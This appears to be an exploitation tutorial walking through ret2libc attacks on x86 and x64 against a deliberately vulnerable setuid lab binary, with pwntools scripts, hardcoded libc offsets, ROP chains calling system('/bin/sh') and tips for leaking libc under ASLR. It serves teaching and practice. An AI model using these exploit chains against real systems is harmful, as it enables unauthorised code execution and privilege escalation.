ret2libc Attack (x86)
Overview
This attack avoids placing shellcode on the stack (useful when NX/DEP is enabled) by returning into libc and invoking
system("/bin/sh"). Control is gained via a stack buffer overflow inreceive_feedback(); the exploit overwrites the saved return address (EIP) with the address ofsystemin libc and places the string pointer"/bin/sh"as its argument on the stack.
Target Summary and Vulnerability
#include <stdio.h>
int secret_function() {
asm("jmp %esp");
}
void receive_feedback()
{
char buffer[64];
puts("Please leave your comments for the server admin but DON'T try to steal our flag.txt:\n");
gets(buffer);
}
int main()
{
setuid(0);
setgid(0);
receive_feedback();
return 0;
}- Vulnerability:
getswrites past the 64-byte buffer → stack buffer overflow. - Privilege context:
setuid(0); setgid(0);before input; a spawned shell inherits elevated privileges. - Note: The program contains a
secret_function()withjmp %esp, but ret2libc does not need it. We reuse libc code instead of executing stack-resident code.
High-level Plan
- Find the EIP offset (here:
padding = 76). - Resolve libc addresses:
libc_base,system, and the string"/bin/sh"inside libc. - Craft a stack frame such that
RET → system,retaddr → (exit/0), andarg0 → &"/bin/sh". - Trigger the overflow; execution returns into
system("/bin/sh").
Exploit Walkthrough
1) Environment and Launcher
exe = './secureserver'
elf = context.binary = ELF(exe, checksec=False)
io = start()
context.log_level = 'debug'- Standard pwntools setup;
start()toggles local/GDB/remote execution.
2) Libc Layout (static Values with ASLR disabled)
libc_base = 0xf7dba000 # determined manually for this environment
system = libc_base + 0x45040 # offset of system within libc
binsh = libc_base + 0x18c338# address of "/bin/sh" string within libc- These addresses assume ASLR is OFF and you’re using the exact libc that matches these offsets.
- In real/remote scenarios (ASLR ON), you must leak a libc address at runtime (e.g.,
puts@pltleak of a GOT entry) and computelibc_basedynamically.
3) Control Offset
padding = 76- Bytes to reach and overwrite the saved EIP. Typically obtained via
cyclic()/cyclic_find()or debugging in GDB.
4) Payload Layout (cdecl, x86)
payload = flat(
asm('nop') * padding, # filler up to saved EIP
system, # saved EIP → system()
0x0, # fake return address (could be exit in libc)
binsh # arg0 to system(): pointer to "/bin/sh"
)-
cdecl (x86) passes arguments on the stack:
[ offset .. ] [ EIP = &system ] [ retaddr (exit/0) ] [ arg0 = &"/bin/sh" ] ^ on RET from system, execution would go here -
Using a real
exitaddress (e.g.,libc_base + exit_offset) instead of0x0is cleaner; it avoids crashing aftersystemreturns.
5) Delivery
write('payload', payload) # artifact for inspection/replay
io.sendlineafter(b':', payload)
io.interactive() # interact with the spawned shellHow to Obtain the Libc symbols/offsets
- With ASLR OFF (local):
- Identify the libc in use (e.g.,
ldd ./secureserver), then:readelf -s libc.so.6 | grep ' system@'→ symbol index (not address at runtime).objdump -T libc.so.6 | grep ' system$'→ offset ofsystemin libc.strings -a -tx libc.so.6 | grep '/bin/sh'→ offset of"/bin/sh".
- Compute
system = libc_base + system_offset,binsh = libc_base + binsh_offset. libc_basecan be taken fromvmmap/info proc mappingsin GDB when ASLR is disabled.
- Identify the libc in use (e.g.,
- With ASLR ON (realistic/remote):
- Leak a libc address using a format string or a PLT+GOT read (e.g.,
puts@plt(puts@got)). - Compute
libc_base = leaked_puts - puts_offset. - Derive
system = libc_base + system_offset,binsh = libc_base + binsh_offset. - Build and send the ret2libc payload.
- Leak a libc address using a format string or a PLT+GOT read (e.g.,
Mitigations and Assumptions
- NX/DEP: ret2libc is effective even if NX is ON, since it executes code in libc (RX) rather than on the stack.
- PIE: If PIE is ON, program text addresses are randomized; ret2libc still works since we pivot into libc, but you still need a leak to compute
libc_base(unless ASLR is off). - Canary: If a stack canary is present, it must be bypassed or leaked before overwriting saved EIP.
- ASLR: The example uses fixed addresses (ASLR OFF). For portability, implement the leak → compute → call stage.
Debugging Tips
- In GDB:
checksec(pwndbg) to see NX/PIE/canary/RELRO.b *systemandx/s binshto confirm resolves.- After sending the payload, observe the stack at
espto verify:- top →
retaddr(exit/0) - next →
&"/bin/sh"
- top →
Key Takeaways
- Code-reuse over shellcode: ret2libc executes existing libc functions, bypassing NX.
- Argument control via stack (x86): place
"/bin/sh"pointer after the return address tosystem. - Reliance on correct libc resolution: with ASLR OFF you can hardcode; with ASLR ON you must leak and compute.
- Clean return path: use
exitas the return address fromsystemfor stability.
Ret2libc Attack (x64)
Troubleshooting stack misalignment: 1.17 - x64 ROP Stack Alignment Fix
Overview
Exploit a stack overflow in a 64-bit binary to call
system("/bin/sh")without injecting shellcode (works with NX enabled). On SysV AMD64, the first argument must be in RDI, so we build a tiny ROP chain that sets RDI = &“/bin/sh” and then transfers control to system. We also fix stack alignment to avoid SIMD crashes inside glibc.
Preconditions (this setup)
- NX: Enabled (fine for ret2libc).
- PIE: Disabled (No PIE), so main binary gadgets (e.g.,
pop rdi ; ret) are at fixed addresses. - ASLR: Disabled; libc base is constant for the current run (hardcoded).
- Canary: Not present.
Key Calling-convention Points (x64)
- SysV AMD64 passes the first argument in RDI (not on the stack).
- Many glibc functions (including
system) assume the stack is 16-byte aligned at call sites.
Exploit Steps (what Each part of the Script does)
-
Context & target
exe = './secureserver' elf = context.binary = ELF(exe, checksec=False) p = process(exe)Loads the binary for symbol/gadget resolution and launches the process.
-
Offset to saved RIP
padding = asm('nop') * 7272 bytes reaches the saved RIP (determined previously via
cyclic/cyclic_findor debugging). -
Gadgets from the main binary
rop = ROP(elf) ret = rop.find_gadget(['ret']).address # 1-instruction, fixes alignment pop_rdi = rop.find_gadget(['pop rdi']).address # loads arg0 into RDIpop rdi ; retsets up RDI with our argument.- The single
retbefore that flips stack parity to meet 16-byte alignment expectations inside glibc.
-
libc symbols and data (ASLR off)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc.address = 0x00007ffff7da8000 # fixed base (ASLR off) system = libc.symbols.system binsh = next(libc.search(b'/bin/sh\x00'))- Resolves
systemand the"/bin/sh"string pointer using the known libc base.
- Resolves
-
ROP chain layout
payload = flat( padding, # overflow to saved RIP ret, # alignment fix (important on x64) pop_rdi, # set RDI binsh, # RDI = &"/bin/sh" system, # call system(RDI) )Execution flow:
- Overwrite RIP →
ret(align stack) pop rdi ; ret→ RDI =&"/bin/sh"- RIP =
system→ spawns a shell
Optional: append
libc.sym['exit']aftersystemfor a clean return when the shell exits. - Overwrite RIP →
-
Send payload and interact
write('payload', payload) p.sendlineafter(b':', payload) # if the target doesn’t print “:”, use p.sendline(payload) p.interactive()
Stack Alignment Note (why the Extra ret)
- Glibc often emits
movapsinsystem/do_system, which requires 16-byte stack alignment. - Pure ROP via
retcommonly leaves%rspmisaligned by 8 bytes → crash atmovaps. - A single
retgadget before the first argument gadget fixes the parity.
Rule of thumb: In x64 ret2libc chains, add one ret before pop rdi ; ret unless you’ve verified alignment in GDB.
Quick Validation Checklist
checksecshows NX enabled, PIE disabled.- Offsets: 72 bytes to saved RIP.
- Gadgets:
pop rdi ; retresolves in the main binary;retgadget available. - libc: base,
system, and"/bin/sh"all point into the same libc used by the process. - If you see
movaps … not aligned to 16 bytesin a crash, insert (or keep) the singleretbeforepop rdi ; ret.
Minimal ret2libc (x64) Pattern
payload = flat(
b'A'*72,
ret, # align
pop_rdi,
binsh,
system,
# libc.sym['exit'] # optional
)This constitutes the standard, reliable x64 ret2libc chain when NX is on, PIE is off, and libc base is known.
Resources
| Link | Description |
|---|---|
| 1.17 - x64 ROP Stack Alignment Fix | Troubleshooting stack misalignment |